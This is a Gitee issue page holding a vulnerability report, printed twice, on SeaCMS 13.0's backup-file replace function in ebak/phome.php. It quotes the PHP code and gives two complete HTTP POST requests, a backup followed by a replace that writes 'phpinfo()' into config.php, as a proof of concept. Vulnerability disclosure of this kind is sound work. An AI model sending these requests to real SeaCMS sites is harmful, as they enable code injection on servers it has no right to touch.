登录
注册
开源
企业版
高校版
搜索
帮助中心
使用条款
关于我们
开源
企业版
高校版
私有云
模力方舟
AI 队友
登录
注册
轻量养虾,开箱即用!低 Token + 稳定算力,Gitee & 模力方舟联合出品的 PocketClaw 正式开售!点击了解详情
代码拉取完成,页面将自动刷新
捐赠
捐赠前请先登录
取消
前往登录
扫描微信二维码支付
取消
支付完成
支付提示
将跳转至支付宝完成支付
确定
取消
Watch
不关注
关注所有动态
仅关注版本发行动态
关注但不提醒动态
1
Star
0
fufufu
/
sea
代码
Issues
1
Pull Requests
0
Wiki
流水线
服务
质量分析
Jenkins for Gitee
腾讯云托管
腾讯云 Serverless
悬镜安全
阿里云 SAE
Codeblitz
SBOM
开发画像分析
我知道了,不再自动展开
更新失败,请稍后重试!
移除标识
内容风险标识
本任务被
标识为内容中包含有代码安全 Bug 、隐私泄露等敏感信息,仓库外成员不可访问
seacms
待办的
#IB8S1N
fufufu
拥有者
创建于
2024-12-03 16:37
Seacms Version: 13.0 Vulnerable Component: In the backend path \ebak\phome.php  this function:Ebak_RepPathFiletext() follow-up function: function Ebak_RepPathFiletext($add){ global $bakpath; $mypath=trim($add['mypath']); $oldword=Ebak_ClearAddsData($add['oldword']); $newword=Ebak_ClearAddsData($add['newword']); $dozz=(int)$add['dozz']; if(empty($oldword)||empty($mypath)) { printerror("EmptyRepPathFiletext","history.go(-1)"); } if(strstr($mypath,"..")) { printerror("NotChangeRepPathFiletext","history.go(-1)"); } $path=$bakpath."/".$mypath; //bdata/seacms1 if(!file_exists($path)) { printerror("PathNotExists","history.go(-1)"); } $hand=@opendir($path); while($file=@readdir($hand)) { $filename=$path."/".$file; if($file!="."&&$file!=".."&&is_file($filename)) { $value=ReadFiletext($filename); if($dozz) { $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value); } else { if(!stristr($value,$oldword)) { continue; } $newvalue=str_replace($oldword,$newword,$value); } WriteFiletext_n($filename,$newvalue); } } printerror("RepPathFiletextSuccess","RepFiletext.php"); } Three parameters are passed here  Will eventually be called    The meaning of the words in the picture is:Here, $filename is the $file under the $path, where $path is a variable for bakpath under mypath. Since mypath is controllable, $path is controllable as well. At this point, $hand is also controllable. Furthermore, since $file is $hand, $file is controllable here as well file($filename) In the first few lines  The $bakpath is hardcoded here, and there are filters for ../ and ./, so only files under the $bakpath directory can be controlled.  This only applies regular expression matching control to $newvalue, and since the target value is controllable, therefore here... We can control the WriteFiletext_n function. The data packet is constructed because this overall process involves changing the content of the file generated after a data backup.  Therefore, it is necessary to back up here first. Clicking on the backup will display the name of the database, the name of the backup folder, and the table names chosen for backing up the data.  A folder will be created after the backup.  The content is  Content of Config.php  At this point, the vulnerability exploitation principle I am submitting is to change the content of this backup data. Attack example: Currently, I will first back up the data from a database table.  POST /z5fskt/ebak/phomebak.php HTTP/1.1 Host: seacms Content-Length: 250 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://seacms Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://seacms/z5fskt/ebak/ChangeTable.php?mydbname=seacms&keyboard=sea&act=b Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=4qqjagpiagq24ekmdl76fljqac Connection: close phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=test&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=sea_co_cls&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD The folder is test, and the backup table is sea_co_cls   此时访问phome.php,构造攻击语句  POST /z5fskt/ebak/phome.php?phome=RepPathFiletext HTTP/1.1 Host: seacms Content-Length: 55 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://seacms Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://seacms/z5fskt/ebak/ReData.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=4qqjagpiagq24ekmdl76fljqac Connection: close mypath=test&oldword=sea_co_cls&newword=phpinfo()&dozz=1 After simulating the attack, the current config.php is   This vulnerability is similar to CVE-2024-40522, but they are different. The attack logic is similar because both involve changing file content, but the files where the vulnerabilities exist are different, as are the functions involved. Fix Recommendation: Filter the controllable parameters and encrypt the data packets.
Seacms Version: 13.0 Vulnerable Component: In the backend path \ebak\phome.php  this function:Ebak_RepPathFiletext() follow-up function: function Ebak_RepPathFiletext($add){ global $bakpath; $mypath=trim($add['mypath']); $oldword=Ebak_ClearAddsData($add['oldword']); $newword=Ebak_ClearAddsData($add['newword']); $dozz=(int)$add['dozz']; if(empty($oldword)||empty($mypath)) { printerror("EmptyRepPathFiletext","history.go(-1)"); } if(strstr($mypath,"..")) { printerror("NotChangeRepPathFiletext","history.go(-1)"); } $path=$bakpath."/".$mypath; //bdata/seacms1 if(!file_exists($path)) { printerror("PathNotExists","history.go(-1)"); } $hand=@opendir($path); while($file=@readdir($hand)) { $filename=$path."/".$file; if($file!="."&&$file!=".."&&is_file($filename)) { $value=ReadFiletext($filename); if($dozz) { $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value); } else { if(!stristr($value,$oldword)) { continue; } $newvalue=str_replace($oldword,$newword,$value); } WriteFiletext_n($filename,$newvalue); } } printerror("RepPathFiletextSuccess","RepFiletext.php"); } Three parameters are passed here  Will eventually be called    The meaning of the words in the picture is:Here, $filename is the $file under the $path, where $path is a variable for bakpath under mypath. Since mypath is controllable, $path is controllable as well. At this point, $hand is also controllable. Furthermore, since $file is $hand, $file is controllable here as well file($filename) In the first few lines  The $bakpath is hardcoded here, and there are filters for ../ and ./, so only files under the $bakpath directory can be controlled.  This only applies regular expression matching control to $newvalue, and since the target value is controllable, therefore here... We can control the WriteFiletext_n function. The data packet is constructed because this overall process involves changing the content of the file generated after a data backup.  Therefore, it is necessary to back up here first. Clicking on the backup will display the name of the database, the name of the backup folder, and the table names chosen for backing up the data.  A folder will be created after the backup.  The content is  Content of Config.php  At this point, the vulnerability exploitation principle I am submitting is to change the content of this backup data. Attack example: Currently, I will first back up the data from a database table.  POST /z5fskt/ebak/phomebak.php HTTP/1.1 Host: seacms Content-Length: 250 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://seacms Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://seacms/z5fskt/ebak/ChangeTable.php?mydbname=seacms&keyboard=sea&act=b Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=4qqjagpiagq24ekmdl76fljqac Connection: close phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=test&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=sea_co_cls&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD The folder is test, and the backup table is sea_co_cls   此时访问phome.php,构造攻击语句  POST /z5fskt/ebak/phome.php?phome=RepPathFiletext HTTP/1.1 Host: seacms Content-Length: 55 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://seacms Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://seacms/z5fskt/ebak/ReData.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=4qqjagpiagq24ekmdl76fljqac Connection: close mypath=test&oldword=sea_co_cls&newword=phpinfo()&dozz=1 After simulating the attack, the current config.php is   This vulnerability is similar to CVE-2024-40522, but they are different. The attack logic is similar because both involve changing file content, but the files where the vulnerabilities exist are different, as are the functions involved. Fix Recommendation: Filter the controllable parameters and encrypt the data packets.
评论 (
0
)
登录
后才可以发表评论
状态
待办的
待办的
进行中
已完成
已关闭
负责人
未设置
标签
未设置
标签管理
里程碑
未关联里程碑
未关联里程碑
Pull Requests
未关联
未关联
关联的 Pull Requests 被合并后可能会关闭此 issue
开始日期   -   截止日期
-
置顶选项
不置顶
置顶等级:高
置顶等级:中
置顶等级:低
优先级
不指定
严重
主要
次要
不重要
参与者(1)
1
https://gitee.com/FengFu01/sea.git
git@gitee.com:FengFu01/sea.git
FengFu01
sea
sea
点此查找更多帮助
搜索帮助
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
评论
仓库举报
回到顶部
登录提示
该操作需登录 Gitee 帐号,请先登录后再操作。
立即登录
没有帐号,去注册